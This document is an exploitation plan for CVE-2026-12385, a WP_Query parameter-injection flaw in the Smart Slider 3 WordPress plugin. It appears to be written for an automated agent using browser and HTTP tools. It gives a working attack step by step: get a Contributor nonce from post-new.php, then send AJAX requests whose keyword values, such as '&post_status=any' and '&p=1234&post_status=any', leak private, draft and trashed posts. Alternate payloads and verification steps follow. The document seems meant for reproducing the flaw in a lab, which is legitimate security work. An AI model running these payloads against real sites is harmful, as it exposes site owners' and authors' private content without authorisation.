Exploitation Research Plan - CVE-2026-12385

1. Vulnerability Summary

The Smart Slider 3 plugin (up to version 3.5.1.37) is vulnerable to Sensitive Information Exposure via a WP_Query parameter injection. The vulnerability exists because the keyword parameter provided to AJAX search actions is concatenated directly into a query string used to instantiate a WP_Query object. Since WP_Query parses string inputs similar to URL query strings, an attacker can inject additional parameters (separated by &) to override hardcoded constraints like post_status=publish. This allows authenticated users with Contributor permissions to retrieve the titles and excerpts of private, draft, or trashed posts authored by any user.

2. Attack Vector Analysis

• Target Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: nextend-smartslider3 (via the Nextend Framework's AJAX routing).
• Vulnerable Parameters:
  • nextendcontroller: content
  • nextendaction: SearchContent (or SearchLink)
  • keyword: The injection point.
• Authentication: Authenticated (Contributor level or higher).
• Preconditions: The attacker must obtain a valid Nextend security token (nonce).

3. Code Flow

1. Entry Point: A request is sent to admin-ajax.php?action=nextend-smartslider3.
2. Routing: The Nextend framework routes this to Nextend\Framework\Content\ControllerAjaxContent.
3. Controller Logic: In ControllerAjaxContent.php, the method actionSearchContent() is called:
   • It calls $this->validateToken() to verify the nonce.
   • It retrieves $keyword from Request::$REQUEST->getVar('keyword', '').
   • It calls Content::searchContent($keyword).
4. Sink: In Nextend\Framework\Content\WordPress\WordPressContent.php, the searchContent($keyword) method is executed:
   • It constructs a query string: 'post_type=any&posts_per_page=20&post_status=publish&s=' . $keyword.
   • It passes this string to new WP_Query(...).
5. Injection: If $keyword is set to &post_status=any, the resulting string is post_type=any&posts_per_page=20&post_status=publish&s=&post_status=any.
6. Execution: WP_Query parses this string. When duplicate keys exist in a query string, the later values typically override earlier ones. Thus, post_status becomes any, causing the query to return non-public posts.

4. Nonce Acquisition Strategy

The plugin emits the required security token (nonce) on pages where the Smart Slider editor interface or post-insertion tools are loaded. Per the vulnerability description, this occurs on /wp-admin/post-new.php.

Strategy:

1. Log in as a Contributor.
2. Navigate to http://<TARGET>/wp-admin/post-new.php.
3. The token is typically localized in a global JavaScript object named nextend or passed via wp_localize_script.
4. Use browser_eval to find the token:
   • Target Variable: window.nextend.token (or window.N2Wordpress.token).
   • Based on Nextend framework history, the key is often stored in window.nextend.token.

5. Exploitation Strategy

Step 1: Authentication & Nonce Extraction

1. Use http_request to log in as a Contributor.
2. Use browser_navigate to go to /wp-admin/post-new.php.
3. Use browser_eval to extract the token:

   window.nextend?.token || "Not Found"
   

Step 2: Sensitive Information Extraction

Perform a POST request to admin-ajax.php injecting the post_status parameter.

• URL: http://<TARGET>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: nextend-smartslider3
  • nextendcontroller: content
  • nextendaction: SearchContent
  • n2token: [EXTRACTED_TOKEN]
  • keyword: &post_status=any

Step 3: Specific Post Retrieval (Targeted)

To leak the content of a specific private post (e.g., ID 1234):

• keyword: &p=1234&post_status=any

6. Test Data Setup

1. Administrator Actions:
   • Create a post with post_status set to private.
   • Title: SECRET_ADMIN_POST_TITLE
   • Content: This is sensitive administrator information that contributors should not see.
2. Contributor User:
   • Create a user with the contributor role.

7. Expected Results

• Success: The AJAX response (JSON) will contain an array of objects. One of these objects will have:
  • title: SECRET_ADMIN_POST_TITLE
  • description: The excerpt/content of the private post.
  • info: Post (or the post type label).
• Failure: The response returns only public posts or an error indicating an invalid token/permissions.

8. Verification Steps

1. Check Output: Inspect the JSON response from the http_request tool to confirm the presence of the SECRET_ADMIN_POST_TITLE.
2. WP-CLI Verification: Confirm the post's status is indeed private:

   wp post list --post_type=post --post_status=private --fields=ID,post_title
   

9. Alternative Approaches

• Action SearchLink: If SearchContent is restricted, test nextendaction=SearchLink. It uses the same WP_Query logic but returns only titles and permalinks.
• Bypassing s=: If the search term s interferes, try keyword as &post_status=private&posts_per_page=-1 to list all private posts regardless of search relevance.
• Post Type Enumeration: Inject &post_type=page&post_status=draft to find draft pages specifically.